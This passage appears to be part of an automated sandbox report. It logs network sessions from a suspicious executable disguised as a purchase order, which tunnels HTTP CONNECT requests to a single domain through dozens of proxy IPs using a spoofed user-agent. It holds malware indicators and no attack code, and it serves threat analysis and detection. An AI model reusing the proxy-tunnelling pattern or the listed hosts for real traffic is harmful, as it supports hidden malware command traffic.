Mar 11, 2024 16:39:48.466264009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
986	192.168.2.10	52954	223.112.53.2	1025	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.466623068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:15.440412045 CET	34	IN	HTTP/1.1 503 Service Unavailable

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
987	192.168.2.10	53059	121.66.198.76	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.471499920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
988	192.168.2.10	52514	166.62.38.100	8730	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.475548983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.526560068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
989	192.168.2.10	51138	94.154.221.91	5678	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.475750923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
990	192.168.2.10	53078	194.4.50.132	12334	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.477982044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
991	192.168.2.10	53023	103.163.51.254	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.478266954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
992	192.168.2.10	53076	72.206.181.105	64935	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.478926897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
993	192.168.2.10	53070	185.82.218.52	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.479063034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
994	192.168.2.10	53077	98.170.57.249	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.480678082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
995	192.168.2.10	52482	52.151.210.204	9000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.494143009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
996	192.168.2.10	52093	184.185.105.105	4481	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.494910002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.639913082 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
997	192.168.2.10	53073	39.108.229.14	8002	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.495177984 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:39:49.130647898 CET	65	IN	HTTP/1.1 200 Connection established Proxy-Agent: gost/2.11.5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
998	192.168.2.10	53033	90.188.250.16	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.499006987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
999	192.168.2.10	53021	31.148.207.153	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.499138117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1000	192.168.2.10	53075	4.144.161.159	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.501457930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1001	192.168.2.10	53079	211.222.252.187	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.501641035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1002	192.168.2.10	53083	43.163.192.3	15673	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.504460096 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1003	192.168.2.10	53087	98.162.25.7	31653	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.505125046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1004	192.168.2.10	53088	98.162.25.4	31654	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.505125046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1005	192.168.2.10	53089	38.54.6.39	9080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.505736113 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:39:50.728620052 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1006	192.168.2.10	53080	116.106.105.55	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.505870104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1007	192.168.2.10	52878	183.234.215.11	8443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.506041050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.785810947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.967536926 CET	716	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.24.0 Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Type: text/html Content-Length: 559 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.24.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1008	192.168.2.10	52551	54.36.122.16	44587	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.506145000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.676455021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.676832914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1009	192.168.2.10	53081	192.162.232.15	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.506230116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1010	192.168.2.10	51495	69.61.200.104	36181	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.527117968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1011	192.168.2.10	53086	23.137.248.197	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.533166885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1012	192.168.2.10	52560	8.142.3.145	3306	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.534684896 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1013	192.168.2.10	52531	210.72.11.46	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.536946058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.918064117 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1014	192.168.2.10	53082	217.145.199.47	56746	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.542553902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1015	192.168.2.10	53127	41.86.252.91	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.550636053 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1016	192.168.2.10	53085	185.49.30.5	8081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.550673962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1017	192.168.2.10	52597	98.178.72.21	10919	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.595751047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1018	192.168.2.10	53145	41.86.252.91	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.605278969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1019	192.168.2.10	53146	41.86.252.91	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.607228041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1020	192.168.2.10	53147	41.86.252.91	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.609683990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1021	192.168.2.10	52742	104.37.135.145	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.620249987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1022	192.168.2.10	51266	107.180.88.41	62578	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.624044895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.651906013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.708050013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.707902908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:12.707803965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:24.801265955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:36.817037106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
